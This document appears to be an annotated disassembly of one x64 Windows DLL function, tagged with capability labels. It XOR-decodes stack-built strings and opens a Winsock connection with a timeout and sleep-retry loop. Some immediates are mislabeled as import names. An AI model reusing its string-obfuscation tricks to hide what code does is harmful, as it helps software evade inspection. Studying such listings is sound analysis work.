Function at 0x1800372d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x18036d060]
xor rax, rsp
mov qword [rbp + 0xd0], rax
mov r12, rcx
call fcn.180037040
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
lea rcx, [rbp - 0x40]
call fcn.1800b68f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0x50]
call fcn.1800b7070
nop
movdqa xmm0, xmmword [0x180317500]
movdqu xmmword [rsp + 0x68], xmm0
movdqa xmm1, xmmword [0x1803171b0]
movdqu xmmword [rsp + 0x78], xmm1
mov word [rbp - 0x78], reloc.WS2_32.dll_WSAStartup
xor edi, edi
mov ecx, edi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x68]
xor byte [rsp + rcx + 0x69], al
movzx eax, byte [rsp + 0x68]
xor byte [rsp + rcx + 0x6a], al
add rcx, 2
cmp rcx, 0x20
jb 0x1800373b0
mov byte [rbp - 0x77], dil
mov r8, qword [0x18038c040]
mov rdx, qword [0x18038c038]
sub r8, rdx
lea r9, [rsp + 0x69]
lea rcx, [rbp + 0x50]
call fcn.1800b7260
cmp al, 1
je 0x180037451
movdqa xmm0, xmmword [0x180317550]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0x4e
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0x10
jb 0x180037410
mov byte [rsp + 0x41], dil
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], dil
lea rax, [rsp + 0x31]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], dil
jne 0x180037446
jmp 0x1800374cf
lea rdx, [0x180304043]
lea rcx, [rbp + 0x50]
call fcn.1800b7160
mov rbx, rax
lea rcx, [rbp + 0x50]
call fcn.1800b7530
test al, al
jne 0x1800374f7
movdqa xmm0, xmmword [0x180317250]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x40], 0x7d
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0x10
jb 0x180037490
mov byte [rsp + 0x41], dil
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], dil
lea rax, [rsp + 0x31]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], dil
jne 0x1800374c6
mov r8, rbx
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x48]
call fcn.1800052d0
lea rcx, [rsp + 0x48]
call fcn.180005250
mov rax, qword [r12]
mov byte [rax], 1
jmp 0x1800378e6
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.1800b6f70
cmp al, 1
je 0x180037574
test rbx, rbx
je 0x180037519
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
movdqa xmm0, xmmword [str.B_a00_0b]
movdqu xmmword [rsp + 0x30], xmm0
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0xe
jb 0x180037530
mov byte [rsp + 0x3f], dil
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], dil
lea rax, [rsp + 0x31]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], dil
jne 0x180037566
jmp 0x1800374cf
test rbx, rbx
je 0x180037586
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax]
mov rcx, qword [r12 + 8]
cmp dword [rcx], 0xffffffff
jne 0x180037610
movdqa xmm0, xmmword [0x180317540]
movdqu xmmword [rsp + 0x30], xmm0
xor eax, eax
mov byte [rsp + 0x40], al
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 0xf
jb 0x1800375b0
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], dil
lea rax, [rsp + 0x31]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], dil
jne 0x1800375e6
mov r8, rbx
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x48]
call fcn.1800052d0
lea rcx, [rsp + 0x48]
call fcn.180037aa0
jmp 0x1800378e6
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], dil
mov ecx, dword [rcx]
mov rbx, 0xffffffffffffffff
test ecx, ecx
je 0x180037760
sub ecx, 1
je 0x1800376fe
cmp ecx, 1
je 0x180037658
lea r8d, [rbx + 0xa]
lea rdx, str.127.0.0.1
lea rcx, [rbp - 0x60]
call fcn.1800052d0
jmp 0x180037809
mov byte [rsp + 0x30], 0x3c
mov al, 0x54
mov cl, 0x57
mov dl, reloc.WS2_32.dll_listen
mov r8b, reloc.WS2_32.dll_select
mov r9b, 0x49
mov r10b, 0x5f
movzx r11d, r8b
mov dil, 0x46
mov sil, 0x53
mov r14b, 0x52
mov r15b, 0x59
xor r13d, r13d
xor al, 0x3c
mov byte [rsp + 0x31], al
xor cl, 0x3c
mov byte [rsp + 0x32], cl
xor dl, 0x3c
mov byte [rsp + 0x33], dl
xor r8b, 0x3c
mov byte [rsp + 0x34], r8b
xor r9b, 0x3c
mov byte [rsp + 0x35], r9b
xor r10b, 0x3c
mov byte [rsp + 0x36], r10b
xor r11b, 0x3c
mov byte [rsp + 0x37], r11b
xor dil, 0x3c
mov byte [rsp + 0x38], dil
xor sil, 0x3c
mov byte [rsp + 0x39], sil
xor r14b, 0x3c
mov byte [rsp + 0x3a], r14b
xor r15b, 0x3c
mov byte [rsp + 0x3b], r15b
mov byte [rsp + 0x3c], r13b
lea rax, [rsp + 0x31]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1800376f0
jmp 0x1800377f9
mov cl, 0x25
mov dword [rsp + 0x30], 0x4e564825
mov dword [rsp + 0x34], 0x46500b14
mov dword [rsp + 0x38], 0x4b4a5f0b
mov word [rsp + 0x3c], 0x40
mov rax, rdi
xor byte [rsp + rax + 0x31], cl
inc rax
cmp rax, 0xc
jae 0x180037736
movzx ecx, byte [rsp + 0x30]
jmp 0x180037722
mov byte [rsp + 0x3d], 0
lea rax, [rsp + 0x31]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x180037743
lea rdx, [rsp + 0x31]
lea rcx, [rbp - 0x60]
call fcn.1800052d0
jmp 0x180037809
mov byte [rsp + 0x30], 4
mov al, 0x62
mov cl, 0x76
mov dl, 0x35
mov r8b, 0x2a
mov r9b, WSAStartup
mov r10b, 0x67
movzx r11d, r8b
mov dil, 0x7e
mov sil, 0x6b
mov r14b, 0x6a
mov r15b, 0x61
xor r13d, r13d
xor al, 4
mov byte [rsp + 0x31], al
xor cl, 4
mov byte [rsp + 0x32], cl
xor dl, 4
mov byte [rsp + 0x33], dl
xor r8b, 4
mov byte [rsp + 0x34], r8b
xor r9b, 4
mov byte [rsp + 0x35], r9b
xor r10b, 4
mov byte [rsp + 0x36], r10b
xor r11b, 4
mov byte [rsp + 0x37], r11b
xor dil, 4
mov byte [rsp + 0x38], dil
xor sil, 4
mov byte [rsp + 0x39], sil
xor r14b, 4
mov byte [rsp + 0x3a], r14b
xor r15b, 4
mov byte [rsp + 0x3b], r15b
mov byte [rsp + 0x3c], r13b
lea rax, [rsp + 0x31]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x1800377f0
lea rdx, [rsp + 0x31]
lea rcx, [rbp - 0x60]
call fcn.1800052d0
xor edi, edi
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rdx, qword [rbp - 0x60]
mov dword [rsp + 0x20], 0x3a98
mov r9b, 1
mov r8d, 0x3801
lea rcx, [rbp - 0x40]
call fcn.1800b6ac0
cmp al, 1
je 0x180037900
movdqa xmm0, xmmword [0x180317180]
movdqu xmmword [rsp + 0x68], xmm0
movdqa xmm1, xmmword [0x1803171a0]
movdqu xmmword [rsp + 0x78], xmm1
movdqa xmm0, xmmword [0x180317170]
movdqu xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], 0x7a263120
xor eax, eax
mov byte [rbp - 0x64], al
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x68]
xor byte [rsp + rcx + 0x69], al
inc rcx
cmp rcx, 0x33
jb 0x180037880
mov byte [rbp - 0x64], 0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x48], 0
lea rax, [rsp + 0x69]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800378b0
mov r8, rbx
lea rdx, [rsp + 0x69]
lea rcx, [rsp + 0x48]
call fcn.1800052d0
lea rcx, [rsp + 0x48]
call fcn.180037aa0
mov rax, qword [r12]
mov byte [rax], 1
lea rcx, [rbp - 0x60]
call fcn.180005250
nop
lea rcx, [rbp + 0x50]
call fcn.1800b70b0
nop
lea rcx, [rbp - 0x40]
call fcn.1800b6940
xor eax, eax
jmp 0x180037a19
lea rcx, [rbp - 0x40]
call fcn.1800b7030
test al, al
je 0x180037948
lea rax, [rbp - 0x40]
mov qword [0x18038ba70], rax
mov edx, 0x124f80
lea rcx, [rbp - 0x40]
call fcn.1800b7050
mov edx, 0x124f80
mov rcx, qword [0x18038ba70]
call fcn.1800b7060
mov edx, 0xc8
mov rcx, qword [0x18038ba70]
call fcn.1800b7040
mov rcx, qword [0x18038ba70]
call fcn.1800b7030
test al, al
je 0x18003797b
nop dword [rax + rax]
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18038ba70]
call fcn.1800b7030
test al, al
jne 0x180037960
movdqa xmm0, xmmword [0x180317070]
movdqu xmmword [rsp + 0x48], xmm0
mov word [rsp + 0x58], 0x4b
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x48]
xor byte [rsp + rcx + 0x49], al
inc rcx
cmp rcx, 0x10
jb 0x1800379a0
mov byte [rsp + 0x59], 0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
lea rax, [rsp + 0x49]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800379d0
mov r8, rbx
lea rdx, [rsp + 0x49]
lea rcx, [rsp + 0x68]
call fcn.1800052d0
lea rcx, [rsp + 0x68]
call fcn.180037aa0
mov qword [0x18038ba70], rdi
lea rcx, [rbp - 0x60]
call fcn.180005250
nop
lea rcx, [rbp + 0x50]
call fcn.1800b70b0
nop
lea rcx, [rbp - 0x40]
call fcn.1800b6940
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.18007b140
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret